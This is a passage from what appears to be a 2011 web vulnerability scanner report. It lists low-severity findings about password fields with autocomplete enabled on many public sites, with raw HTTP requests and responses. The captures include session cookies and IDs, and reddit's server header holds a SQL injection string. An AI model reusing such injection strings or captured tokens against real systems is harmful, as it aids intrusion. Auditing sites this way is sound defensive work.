Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149713339390&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:51 GMT; path=/
Set-Cookie: SessionDDF2=TKve/VMQSRopDi6rum8Cuf4A/ccgoSma8SHWpbuTI+vd5A49FMvesHvx7OPJtzM9hJR6JKisfQH2F0HGZi7c1Q==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:51 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: SECUREUSERAUTH=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
Set-Cookie: SECUREUSERAUTH=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
X-AspNet-Version: 4.0.30319
X-PoweredBy: Unicorns
Date: Sat, 05 Feb 2011 23:02:51 GMT
Content-Length: 82620
X-Vertical: globalsites
Set-Cookie: NSC_mc_gvuvsb-hmpcbmtjuft_80=ffffffff0948088b45525d5f4f58455e445a4a423660;expires=Sat, 05-Feb-2011 23:10:08 GMT;path=/;httponly

<!DOCTYPE html>
<html class="noJS en-US">
   
<head><meta http-equiv="X-UA-Compatible" content="IE=7" />
<title>
   Myspace | Social Entertainment
</title>
<script>
_start = +n
...[SNIP]...
</div>


<form action="https://www.myspace.com/auth/login" method="post" class="signin trayForm">
<fieldset>
...[SNIP]...
</label>
<input type="password" id="passwordTray" class="passwordInput" name="Password" /></p>
...[SNIP]...

16.100. http://www.newsvine.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.newsvine.com/_nv/api/accounts/login

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.newsvine.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.101. http://www.nmworkwear.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.nmworkwear.de/login.php?action=process&XTCsid=ekde4uf6o3m1pae1sfc1dc4f16

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.102. http://www.nmworkwear.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.nmworkwear.de/login.php?action=process&XTCsid=dseibh3amthljr6hk2lbuun2t0

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:45:16 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.17
Set-Cookie: XTCsid=dseibh3amthljr6hk2lbuun2t0; path=/; domain=.nmworkwear.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 38149

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="de">
<head>
<ti
...[SNIP]...
<div class="boxbody"> <form id="loginbox" method="post" action="http://www.nmworkwear.de/login.php?action=process&XTCsid=dseibh3amthljr6hk2lbuun2t0">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
...[SNIP]...
<td><input type="password" name="password" maxlength="30" style="width:80px;" /></td>
...[SNIP]...

16.103. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The page contains a form with the following action URL:

http://www.nmworkwear.de/login.php?action=process&XTCsid=3ugqie5obq0npitc2bvsin2tr7

The form contains the following password field with autocomplete enabled:

password

Request

GET /index.php HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.104. http://www.nowpublic.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nowpublic.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://my.nowpublic.com/user/login

The form contains the following password field with autocomplete enabled:

pass

Request

GET / HTTP/1.1
Host: www.nowpublic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.105. http://www.ortho.hyperguides.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ortho.hyperguides.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.ortho.hyperguides.com/index.php?option=com_comprofiler&task=login

The form contains the following password field with autocomplete enabled:

passwd

Request

GET / HTTP/1.1
Host: www.ortho.hyperguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.106. http://www.ota.org/members_only/login_menu.cfm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ota.org
Path:	/members_only/login_menu.cfm

Issue detail

The page contains a form with the following action URL:

http://www.ota.org/members_only/login_menu.cfm

The form contains the following password field with autocomplete enabled:

customer

Request

GET /members_only/login_menu.cfm HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.107. http://www.pdfforge.org/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pdfforge.org
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.pdfforge.org/home?destination=node%2F13

The form contains the following password field with autocomplete enabled:

pass

Request

GET / HTTP/1.1
Host: www.pdfforge.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.108. http://www.peppernews.eu/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.peppernews.eu
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.peppernews.eu/login.php?return=/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.peppernews.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.109. http://www.reddit.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.reddit.com/post/reg

The form contains the following password fields with autocomplete enabled:

passwd
passwd2

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.110. http://www.reddit.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.reddit.com/post/login

The form contains the following password field with autocomplete enabled:

passwd

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/
Server: '; DROP TABLE servertypes; --
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 104688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" ><head><titl
...[SNIP]...
<div class='spacer'><form method="post" id="login_login-main" action="http://www.reddit.com/post/login" onsubmit="return post_user(this, 'login');" class="login-form-side"><input type="hidden" name="op" value="login-main" /><input name="user" type="text" maxlength="20" tabindex="1"/><input name="passwd" type="password" maxlength="20" tabindex="2"/><div class="error WRONG_PASSWORD field-passwd" style="display:none">
...[SNIP]...

16.111. http://www.reddit.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.reddit.com/post/login

The form contains the following password field with autocomplete enabled:

passwd

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/
Server: '; DROP TABLE servertypes; --
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 104688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" ><head><titl
...[SNIP]...
</p><form id="login_login" method="post" action="http://www.reddit.com/post/login" onsubmit="return post_user(this, 'login');" target="_top"><input type="hidden" name="reason" value="" />
...[SNIP]...
</label><input id="passwd_login" name="passwd" type="password" maxlength="20"/><span class="error WRONG_PASSWORD field-passwd" style="display:none">
...[SNIP]...

16.112. http://www.shoppinga.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.shoppinga.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.shoppinga.de/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.shoppinga.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.113. http://www.sitejot.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.sitejot.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.sitejot.com/login.php

The form contains the following password field with autocomplete enabled:

l_pass

Request

GET / HTTP/1.1
Host: www.sitejot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.114. http://www.spiele365.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.spiele365.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.spiele365.com/login.php?return=%2F

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.spiele365.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.115. http://www.splunk.com/page/sign_up previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/sign_up

Issue detail

The page contains a form with the following action URL:

https://www.splunk.com/index.php/sign_up

The form contains the following password fields with autocomplete enabled:

d[Pass]
d[PassVer]

Request

GET /page/sign_up HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 8ea5f080a01ddd0e102a2068d731d7611296943799
Last-Modified: Sat, 05 Feb 2011 22:09:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36309

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</script>

   <form id="splunkcom_reg" class="standardForm" action="https://www.splunk.com/index.php/sign_up" method="post">

   
...[SNIP]...
</span>
           <input type="password" maxlength="100" name="d[Pass]" id="fmPass" class="inputBox" value="" tabindex="9" />
       </label>
...[SNIP]...
</span>
           <input type="password" maxlength="100" name="d[PassVer]" id="fmPassVer" class="inputBox" value="" tabindex="10" />
       </label>
...[SNIP]...

16.116. http://www.splunk.com/partners previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/partners

Issue detail

The page contains a form with the following action URL:

https://na2.salesforce.com/secur/login_portal.jsp

The form contains the following password field with autocomplete enabled:

Request

GET /partners HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54556

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</p>

<form name="login" action="https://na2.salesforce.com/secur/login_portal.jsp" method="POST"
base_target="_top"><input type="hidden"
name="startURL" value="">
...[SNIP]...
<td><input
autocomplete="on"
type="password" id="password" name="pw" size="30"
maxlength="80" class="pw inputBox"></td>
...[SNIP]...

16.117. http://www.squidoo.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.squidoo.com/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.118. http://www.squidoo.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.squidoo.com/

The form contains the following password fields with autocomplete enabled:

member_password
member_password_confirmation

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.119. http://www.stumbleupon.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.stumbleupon.com/login.php

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.stumbleupon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.stylemepretty.com
Path:	/\|http:/stylehive.com\|http:/stylelist.com\|http:/www.outblush.com/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The page contains a form with the following action URL:

http://circle.stylemepretty.com/wp-login.php

The form contains the following password field with autocomplete enabled:

Request

Response

16.121. http://www.technotizie.it/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.technotizie.it/register-rev1.php

The form contains the following password field with autocomplete enabled:

user_pass

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:01 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/
Connection: close
Content-Type: text/html
Content-Length: 93569

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div><form name="registerform" action="/register-rev1.php" method="post" ><table class="regtable" style="width:650px;" border="0" cellpadding="4" cellspacing="4" >
...[SNIP]...
<td><input type="password" name="user_pass" class="input-text" /></td>
...[SNIP]...

16.122. http://www.technotizie.it/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.technotizie.it/login-inside.php

The form contains the following password field with autocomplete enabled:

pass2

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.123. http://www.tumblr.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.tumblr.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.tumblr.com/register

The form contains the following password field with autocomplete enabled:

user[password]

Request

GET / HTTP/1.1
Host: www.tumblr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.124. http://www.tumblr.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.tumblr.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.tumblr.com/login

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.tumblr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:04 GMT
Server: Apache/2.2.3 (CentOS)
P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL"
Vary: Accept-Encoding
X-Tumblr-Usec: D=38877
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--

.
...[SNIP]...
<div id="login_form_container">

<form method="post" action="http://www.tumblr.com/login" id="login_form">

<div class="input_wrapper">
...[SNIP]...
</label>
<input type="password" id="login_password" name="password" />
</div>
...[SNIP]...

16.125. https://www.xing.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.xing.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.xing.com/app/user

The form contains the following password field with autocomplete enabled:

login_password

Request

GET / HTTP/1.1
Host: www.xing.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Pragma: no-cache
Expires: Now
X-Cnection: close
Content-Type: text/html; charset=UTF-8
X-UA-Compatible: IE=8
X-XSS-Protection: 1; mode=block
Date: Sun, 06 Feb 2011 16:16:21 GMT
Content-Length: 20580
Connection: close
Set-Cookie: xing=|U2FsdGVkX19_zQEE5j6F0xWakCI8lARPFH0FvSjppQxKaaEiZ97wyTiFIr3wVgNP_sOYmtw76XJUBuFfNLnN-VmebVKNIrzd8O9V5UJjwWlPD27y8semPRdDksJAU0_2|; path=/; HttpOnly

<!DOCTYPE html>
<html lang="en">
<head>
<title>Business Network - Social Network for Business Professionals | XING</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<s
...[SNIP]...
</a>

<form action="https://www.xing.com/app/user" method="post" name="loginform" id="headlogin">
<fieldset>
...[SNIP]...
</label>
<input id="password-field" class="text" type="password" name="login_password" value="" maxlength="80" tabindex="202">
<a href="/app/user?op=lostpassword">
...[SNIP]...

16.126. http://www.yigg.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.yigg.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.yigg.de/login

The form contains the following password field with autocomplete enabled:

LoginForm[password]

Request

GET / HTTP/1.1
Host: www.yigg.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.127. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The page contains a form with the following action URL:

http://www1.hilton.com/doxch.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41?dst=https://HI/en/hi/PFSLogin

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.128. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The page contains a form with the following action URL:

http://www1.hilton.com/doxch.do;jsessionid=7516BFB371B60EB2B4E1664391E887FB.etc82?dst=https://HI/en/hi/PFSLogin

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sun, 06 Feb 2011 16:31:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=7516BFB371B60EB2B4E1664391E887FB.etc82; Path=/
Set-Cookie: NSC_qse-qgt=44153d5f3660;expires=Sun, 06-Feb-11 16:42:58 GMT;path=/
Content-Length: 69508

                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equi
...[SNIP]...



                                           <form name="frmSignin" action="/doxch.do;jsessionid=7516BFB371B60EB2B4E1664391E887FB.etc82?dst=https://HI/en/hi/PFSLogin" method="post">


               
...[SNIP]...
<br/>
                   <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin"/><br/>
...[SNIP]...

16.129. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The page contains a form with the following action URL:

http://www1.hilton.com/doxch.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42?dst=https://HI/en/hi/PFSLogin

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.130. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The page contains a form with the following action URL:

http://www1.hilton.com/en_US/hi/index.do

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.131. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The page contains a form with the following action URL:

http://www1.hilton.com/doxch.do;jsessionid=4E443E46E7407FFBFC8C18EDD7D81501.etc34?dst=https://HI/en/hi/PFSLogin

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sun, 06 Feb 2011 16:31:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=4E443E46E7407FFBFC8C18EDD7D81501.etc34; Path=/
Set-Cookie: cross-sell=hi; Domain=hilton.com; Path=/
Set-Cookie: NSC_qse-qgt=44153d5e3660;expires=Sun, 06-Feb-11 16:42:57 GMT;path=/
